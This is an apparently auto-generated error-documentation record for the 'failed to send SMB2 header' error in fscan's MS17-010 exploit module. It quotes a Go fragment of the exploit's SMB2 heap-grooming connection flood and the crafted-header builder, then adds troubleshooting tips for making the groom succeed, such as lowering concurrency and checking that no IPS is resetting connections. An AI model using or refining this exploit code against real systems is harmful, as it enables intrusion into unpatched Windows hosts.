{"record":{"id":"b72548cd53bee7d4","repo":"shadow1ng/fscan","slug":"failed-to-send-smb2-header-s","errorCode":null,"errorMessage":"failed to send SMB2 header: %s","messagePattern":"failed to send SMB2 header: (.+?)","errorType":"exception","errorClass":null,"httpStatus":null,"severity":"error","filePath":"plugins/services/ms17010_exp.go","lineNumber":926,"sourceCode":"\t\tconns []net.Conn\n\t\tok    bool\n\t)\n\tdefer func() {\n\t\tif ok {\n\t\t\treturn\n\t\t}\n\t\tfor i := 0; i < len(conns); i++ {\n\t\t\t_ = conns[i].Close()\n\t\t}\n\t}()\n\tfor i := 0; i < grooms; i++ {\n\t\tconn, err := net.Dial(\"tcp\", address)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to connect target: %s\", err)\n\t\t}\n\t\t_, err = conn.Write(header)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to send SMB2 header: %s\", err)\n\t\t}\n\t\tconns = append(conns, conn)\n\t}\n\tok = true\n\treturn conns, nil\n}\n\nfunc makeSMB2Header() []byte {\n\tbuf := bytes.Buffer{}\n\tbuf.Write([]byte{0x00, 0x00, 0xFF, 0xF7, 0xFE})\n\tbuf.WriteString(\"SMB\")\n\tbuf.Write(makeZero(124))\n\treturn buf.Bytes()\n}\n\nconst (\n\tpacketMaxLen   = 4204\n\tpacketSetupLen = 497","sourceCodeStart":908,"sourceCodeEnd":944,"githubUrl":"https://github.com/shadow1ng/fscan/blob/95cc12e753bf43de7004e5aef42a9ffba3934303/plugins/services/ms17010_exp.go#L908-L944","documentation":"In smb2Grooms, after each successful dial, the SMB2 header is written to the new connection. If conn.Write(header) fails, the loop aborts with 'failed to send SMB2 header' and closes prior connections. This is a write failure on a freshly groomed socket.","triggerScenarios":"exploit → smb2Grooms → conn.Write(header) fails: the target accepted the TCP handshake then reset (backlog overflow, SYN-proxy, half-open limits) before data could be sent.","commonSituations":"Target kernel dropping connections under a groom flood; TCP buffers full on slow links; inline security device resetting SMB2 patterns.","solutions":["Lower the grooms concurrency so the target can accept the flood","Verify no SYN-proxy or IPS is resetting accepted connections","Add a small delay or retry around the header write","Check target-side event logs for SMB server resource exhaustion"],"exampleFix":null,"handlingStrategy":"retry","validationCode":"// after dial, wait briefly for the target stack to be ready\nif tc, ok := conn.(*net.TCPConn); ok {\n    _ = tc.SetWriteDeadline(time.Now().Add(10 * time.Second))\n}","typeGuard":null,"tryCatchPattern":"if _, err := conn.Write(header); err != nil {\n    if errors.Is(err, syscall.ECONNRESET) {\n        // target reset on accept: reduce concurrency and retry\n    }\n    return fmt.Errorf(\"failed to send SMB2 header: %w\", err)\n}","preventionTips":["Reduce groom concurrency if the target resets accepted sockets","Confirm no SYN-proxy/IPS is terminating fresh connections","Set write deadlines so failures surface quickly and retry-ably","Monitor target SMB server logs for resource exhaustion"],"tags":["network","smb2","go","exploit"],"backgroundTag":"broken-pipe","analyzedSha":"95cc12e753bf43de7004e5aef42a9ffba3934303","analyzedAt":"2026-09-06T17:07:30.094Z","contentChangedAt":"2026-09-06T17:07:30.094Z","schemaVersion":2},"datasetVersion":"2026-09-14T05:17:10.506Z"}